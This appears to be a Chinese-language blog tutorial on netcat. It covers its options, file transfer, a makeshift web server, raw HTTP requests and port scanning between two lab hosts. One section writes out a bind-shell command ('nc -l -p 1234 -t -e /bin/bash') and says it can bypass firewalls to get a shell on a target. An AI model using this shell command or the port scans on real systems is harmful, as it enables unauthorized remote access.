netcat或者是nc工具被称为网络上的瑞士军刀,因此netcat也有各个版本出现在各个系统中,而在Centos 7 开始netcat也被整合到namp项目中。当然如果是开源系统中,如Ubuntu或Linux系统中则可以通过apt或yum来进行安装,在DOS系统下可以通过下载nc for windows获取到二进制版的netcat。因为netcat工具实际上可以通过tcp、udp或者是socket等等的方式在两台主机之间建立链接,然后通过链接读取数据流,而在接收传输数据流的过程中可以任意发挥你的想象,因此它的功能十分强大,在这里就简单的介绍说明一下。
先说明下nc中比较常用的参数说明:
-4 : 强制nc使用ipv4 -6 : 强制nc使用ipv6 -D : 使用socket的方式 -d : daemon(后台)运行,就可以配置成服务 -l : 监听模式,如果没有特别指定后面常常隐式使用-p参数 -n : 使用ip的,而不使用域名 -p : 使用本地主机的端口,默认是tcp协议的端口 -r : 任意指定本地及远程端口 -s : 设置本地主机送出数据包的IP地址,主机上有多个IP时指定绑定的IP -U : 使用Unix的socket -u : 使用udp协议 -v : 详细输出 -z : 将输入输出关掉,即不进行交互,用于扫描时,注意在nmap的版本下没有这个参数 -w : 设置连接超时时间,单位秒
使用也很简单,可以通过简单的测试下:
1、测试2台主机数据流是否能通信(模拟Clint/Server模型)
host A(192.168.2.200):
[[email protected] ~]# nc -lp 1234#注意防火墙上需要开启相应的监听端口
host B(192.168.2.203):
[[email protected] ~]# nc 192.168.2.200 1234
此时如果hostB能连通hostA的tcp 1234端口时,在host A上的输出任何信息都会通过nc传送至host B上。
2、数据传输
host A:
[[email protected] ~]# ls -l 总用量 4 -rw------- 1 root root 1150 8月 9 00:54 file [[email protected] ~]# nc -l 1234 < file
host B:
[[email protected] ~]# ls -l 总用量 0 [[email protected] ~]# nc 192.168.2.200 1234 > file [[email protected] ~]# ls -l 总用量 4 -rw-r--r--. 1 root root 1150 9月 10 19:29 file
同理还可以使用tar命令传送数据流的形式压缩传递文件,以节省带宽
host A:
[[email protected] ~]# du -sh ./* 46M ./data [[email protected] ~]# tar -cjf - data | nc -l 1234
host B:
[[email protected] ~]# ls -l 总用量 0 [[email protected] ~]# nc 192.168.2.200 1234 | tar -jxf - [[email protected] ~]# ls -l 总用量 4 drwxr-xr-x. 9 root root 4096 9月 10 19:57 data
当然利用这个特性还可以用nc模拟web服务器提供静态页面(利用nc搭建临时web服务器):
host A:
[[email protected] ~]# vim test.html 123 [[email protected] ~]# vim nc_web.sh #!/bin/bash while true; do nc -l 80 < test.html; done [[email protected] ~]# chmod +x nc_web.sh && ./nc_web.sh
host B:
[[email protected] ~]# curl 192.168.2.200 123
当然利用nc的特性,在此功能上还能衍生出其他的很多功能,如:备份、设备克隆,网络测速,下载、压测等等,在此就不一一介绍了。
3、给服务器发送消息
如给一个网址发送一个http的地址头:
[[email protected] ~]# echo -n "GET / HTTP/1.0\\r\\n\\r\\n" | nc www.baidu.com 80 -v Connection to www.baidu.com 80 port [tcp/http] succeeded!
同理利用这个特性也可以使用nc给SMTP服务器发消息用来发邮件等等。
4、端口探测
在这里nc的功能比telnet好用多了,默认是tcp端口:
[[email protected] test]# nc -zvn 192.168.2.203 22 nc: connect to 192.168.2.203 port 22 (tcp) failed: Connection refused
udp端口:
[[email protected] ~]# nc -zvun 192.168.2.200 1234
某一端口段:
[[email protected] ~]# nc -zvn 192.168.2.200 1-1024
5、shell/cmd反弹:
host A:
[[email protected] ~]# nc -l -p 1234 -t -e /bin/bash
-t:telnet的方式
host B:
[[email protected] ~]# nc 192.168.2.200 1234 ls / 1 app bin boot data dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
该方法可以绕过防火墙,对目标机shell连接,同理用nc实现端口转发也是利用该原理。
6、自定义http的头来访问页面
这里建议用www.try2hack.nl网站去测试,在其中一些信息可以谁便填
[[email protected] ~]# nc www.try2hack.nl 80 GET / HTTP/1.1 Host: baidu.com Referrer: Mozilla/5.0 User-Agent: my-browser
在2次回车后就把别人的整个http头和相关静态页面都获取下来。
总之netcat/nc是一个十分实用且的强悍的工具,发挥你的想象灵活多变它可以实现你很多功能,在这里就不全部一一介绍了。